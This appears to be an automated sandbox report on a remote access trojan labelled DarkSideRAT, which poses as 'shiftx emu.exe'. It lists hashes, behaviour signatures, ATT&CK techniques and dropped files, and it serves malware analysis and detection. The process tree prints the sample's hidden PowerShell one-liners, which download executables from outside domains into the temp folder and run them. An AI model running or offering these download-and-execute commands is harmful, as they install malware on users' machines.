darksiderat | a622cce51d8453385234d57bf9d94becae4255184a211127751da5c39fa0056f

General

Target
shiftx emu.exe
Size 13.5MB
Sample260817-qpg7fa1eqd
SHA256 a622cce51d8453385234d57bf9d94becae4255184a211127751da5c39fa0056f
MD5 4cdc1ec45551e75c5b9f523045dfb599
SHA1 9ae98ec038fc4d446c416f4358cbeeafaf7bf3f9
SHA512 495f0f31bcad788d7dff46968cab1ebd6a271437d8502c32da84dfaa6546ef54a41a6e4da5365beaac03dcb5f5642a4f71049cd2b64b3347901277ccc725eb5a
SSDEEP 393216:3EMWFPquY8TLJ1gqas6ck1CPwDvt3uFKCyMJcsi5aYs:3pWF1VV
TLSH
T1E7E6CF6AA7BC0149E4AAD1BCC2979327D771B81527B053CF5A5086F81F23BD52B7E380
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral1/files/0x001d00000002b587-88.dat	family_darksiderat

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
56	1396	powershell.exe
57	1260	powershell.exe
58	6096	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1396	powershell.exe
1260	powershell.exe
6096	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
51	3756	chrome.exe
51	3756	chrome.exe

Executes dropped EXE 2 IoCs

pid	Process
5284	shiftx emu.exe
336	BK611575.exe

Loads dropped DLL 3 IoCs

pid	Process
5284	shiftx emu.exe
5284	shiftx emu.exe
5284	shiftx emu.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	api.gofile.io
55	api.gofile.io

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setupact.log	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	UserOOBEBroker.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\shiftx emu.exe:Zone.Identifier	chrome.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5448	cmd.exe
5768	cmd.exe
2536	cmd.exe
4680	cmd.exe
2308	cmd.exe
4528	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FileCoAuth.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3756	chrome.exe

NTFS ADS 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\libssl-4-x64.dll:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\shiftx emu.exe:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\libcrypto-4-x64.dll:Zone.Identifier	chrome.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1396	powershell.exe
1396	powershell.exe
1260	powershell.exe
1260	powershell.exe
1396	powershell.exe
5284	shiftx emu.exe
5284	shiftx emu.exe
5284	shiftx emu.exe
5284	shiftx emu.exe
5284	shiftx emu.exe
1260	powershell.exe
6096	powershell.exe
6096	powershell.exe
6096	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	6096	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5284 wrote to memory of 2308	5284	shiftx emu.exe	116
PID 2308 wrote to memory of 4528	2308	cmd.exe	118
PID 5284 wrote to memory of 5448	5284	shiftx emu.exe	120
PID 4528 wrote to memory of 1396	4528	cmd.exe	122
PID 5448 wrote to memory of 5768	5448	cmd.exe	123
PID 5284 wrote to memory of 2536	5284	shiftx emu.exe	125
PID 5768 wrote to memory of 1260	5768	cmd.exe	127
PID 2536 wrote to memory of 4680	2536	cmd.exe	128
PID 4680 wrote to memory of 6096	4680	cmd.exe	132
PID 1396 wrote to memory of 336	1396	powershell.exe	135

C:\Users\Admin\AppData\Local\Temp\shiftx emu.exe
"C:\Users\Admin\AppData\Local\Temp\shiftx emu.exe"
1⤵
PID:5040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1648,i,1219092009637341937,2246220349028861373,262144 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1964 /prefetch:2
1⤵
PID:6028

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1512,i,1059037406152893603,17117055279708962816,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2264 /prefetch:11
1⤵
- Downloads MZ/PE file
- System Time Discovery
PID:3756

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5088

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,4642729411557973134,16238149731904184962,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2396 /prefetch:13
1⤵
PID:5100

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --metrics-shmem-handle=3236,i,16651269198532701838,4278477767117231824,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3240 /prefetch:1
1⤵
PID:5972

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --metrics-shmem-handle=3248,i,8976707663390504170,8165664931069322427,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3284 /prefetch:1
1⤵
PID:5760

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --metrics-shmem-handle=4300,i,279428815866568667,10460827492472657387,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4308 /prefetch:9
1⤵
PID:4544

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --metrics-shmem-handle=4740,i,16035744832720480548,2608939901535447241,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4816 /prefetch:1
1⤵
PID:3580

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5484,i,853141390796697839,3332255497604582037,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5488 /prefetch:14
1⤵
PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:2516

C:\Windows\System32\oobe\UserOOBEBroker.exe
C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:3676

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
1⤵
- System Location Discovery: System Language Discovery
PID:2056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -s LxpSvc
1⤵
PID:5944

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5760,i,6497799510502919711,10457103042857870064,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5928 /prefetch:14
1⤵
PID:1624

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5932,i,2922930489051124378,8529334653390486710,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5748 /prefetch:14
1⤵
PID:1480

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5664,i,16437086072456186882,18005108446517639803,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5820 /prefetch:14
1⤵
PID:5908

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --metrics-shmem-handle=5780,i,17113447246528594688,9355614205943987018,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5832 /prefetch:1
1⤵
PID:128

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --metrics-shmem-handle=4836,i,5923621253978100015,12546770464712904396,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5868 /prefetch:1
1⤵
PID:5340

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --metrics-shmem-handle=3472,i,15706606396626539936,1052232338070210207,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4820 /prefetch:1
1⤵
PID:3828

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3320,i,5473551986744847391,17018919143319486129,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3372 /prefetch:14
1⤵
- NTFS ADS
PID:1164

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3360,i,28676193413115701,1639475756256338172,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3356 /prefetch:14
1⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:2212

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3360,i,15496784298971585585,14607924289860513141,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3528 /prefetch:14
1⤵
- NTFS ADS
PID:4884

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3688

C:\Windows\System32\DataExchangeHost.exe
C:\Windows\System32\DataExchangeHost.exe -Embedding
1⤵
PID:2944

C:\Users\Admin\Desktop\shiftx emu.exe
"C:\Users\Admin\Desktop\shiftx emu.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK611575.exe; Start-Process -FilePath $env:TEMP\BK611575.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK611575.exe; Start-Process -FilePath $env:TEMP\BK611575.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK611575.exe; Start-Process -FilePath $env:TEMP\BK611575.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1396
    - - C:\Users\Admin\AppData\Local\Temp\BK611575.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK611575.exe"
        5⤵
        Executes dropped EXE
        
        PID:336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://api.darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=848RdsHHjnEv' -OutFile $env:TEMP\BK946569.exe; Start-Process -FilePath $env:TEMP\BK946569.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5448
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://api.darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=848RdsHHjnEv' -OutFile $env:TEMP\BK946569.exe; Start-Process -FilePath $env:TEMP\BK946569.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://api.darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=848RdsHHjnEv' -OutFile $env:TEMP\BK946569.exe; Start-Process -FilePath $env:TEMP\BK946569.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK938397.exe; Start-Process -FilePath $env:TEMP\BK938397.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK938397.exe; Start-Process -FilePath $env:TEMP\BK938397.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK938397.exe; Start-Process -FilePath $env:TEMP\BK938397.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6096

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Subvert Trust Controls

1

T1553

SIP and Trust Provider Hijacking

1

T1553.003

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Time Discovery

1

T1124

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 8683d36cf69f749b885af75fbd786877c931223d1417c5230dbeb5c28d0bb4d7
MD5 7aa93c507e8246554b06d94672fe7b75
SHA1 6c884c22a29ed764a2f1d93f43d57f62a9390545
SHA512 b46aa3c82e79c452ffd3b1f08a57e3ebeec9d7c048115bf9e1ae8996f453921704d4172d15fc2f2f6ea97f2e6878b079c866d86779f21bda2f53d59ce888436d
TLSH
T1B8418DF793F4857E8A1196F4EB156F1FCE690A24431C3CA689D4AE1B53F2872D10078E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

libssl-4-x64.dll

Path C:\Users\Admin\AppData\Local\Slotted\bin\libssl-4-x64.dll
Size 1.5MB
SHA256 d4ef34a4634fdf5c3b906db860f92165f2ac5ccc5d22a9f0057452fd983c2a9c
MD5 be2c04bd82db4756c36c7368db373209
SHA1 d723f30e38c5e2cf3947d7c07598bc1e74decd7a
SHA512 7106b567dede58bf51f2d935a97c508799277e85b2d7506abb829e1b534c34c146d10bbe98f3005629b1fa7d7ec94185e86f512d1981a1d6a08950739e321de3
SSDEEP 24576:D75P0Ck4beojAzF2ztS8TyOeRqKJU3uW0lyzZRg5aYshsVO:Z0CTeojAzFES8Eh23p0lQRg5aYsr
TLSH
T1FB756D5BA7B8019CE5B6C17CC6874623D2B6F4193730AAEF065189781F63BD6273E384
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BK611575.exe

Path C:\Users\Admin\AppData\Local\Temp\BK611575.exe
Size 56KB
SHA256 0d0a91c58d930d76a2600f1b75965a4edfb63357284c5965fb3b3f08266f0237
MD5 68ddf5f041cc9d80252e243352728396
SHA1 fb5c316bd6f4411aec73516adb311624e707d83b
SHA512 9f9a0bc1bc25f6eea49ed3f9a9e0025562ff6865e06d6c08917b182c8017aa3afecd23ea4a622e713a0430909b8dd992d0a9b33e97c8e4e7b8edba16f7c3463c
SSDEEP 768:Eb9OnCKoatcLZBTjwFrECxGazpOWp54vg5d5YP98yxA1XbXP7kW7rCVr8Z0kP:I9vatZ5tsWp0g5rBSmLYW7rCVoekP
TLSH
T13043F834EA5AB06FD35ED834DD430D16CD12BCCA97A0BB9B57915CD20EAAF209B2D341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_h4jlkax0.313.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h4jlkax0.313.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

libcrypto-4-x64.dll

Path C:\Users\Admin\Desktop\libcrypto-4-x64.dll
Size 7.0MB
SHA256 6f4f20a28daec8c04283fbf1060eae8af34f65152d03e651dd6b85d5f914ef49
MD5 0108d4cb9fabba81b12ddc409185d844
SHA1 f52fee4986231e00776232d99cc24afc6b7400e0
SHA512 0198cb64c9a10be3cee76d6f901711d4bd1ed437da38240c7a6d3d09e3997c01914dbc47a8b138946a9e2cc33f1d1fc0a67f3b5a2883559c1dcedf230fc873ad
SSDEEP 196608:RquY8TLJ1gqas7+zAk1CPwDvt3uFk1Cyo:RquY8TLJ1gqas6ck1CPwDvt3uFKCyo
TLSH
T178768B6DA6BC0109F8AA81BDC2875227DB71B92957B013CF596186F81F23FD52B7E340
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

shiftx emu.exe

Path C:\Users\Admin\Desktop\shiftx emu.exe
Size 13.5MB
SHA256 a622cce51d8453385234d57bf9d94becae4255184a211127751da5c39fa0056f
MD5 4cdc1ec45551e75c5b9f523045dfb599
SHA1 9ae98ec038fc4d446c416f4358cbeeafaf7bf3f9
SHA512 495f0f31bcad788d7dff46968cab1ebd6a271437d8502c32da84dfaa6546ef54a41a6e4da5365beaac03dcb5f5642a4f71049cd2b64b3347901277ccc725eb5a
SSDEEP 393216:3EMWFPquY8TLJ1gqas6ck1CPwDvt3uFKCyMJcsi5aYs:3pWF1VV
TLSH
T1E7E6CF6AA7BC0149E4AAD1BCC2979327D771B81527B053CF5A5086F81F23BD52B7E380
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1396-57-0x000001CA58150000-0x000001CA58172000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads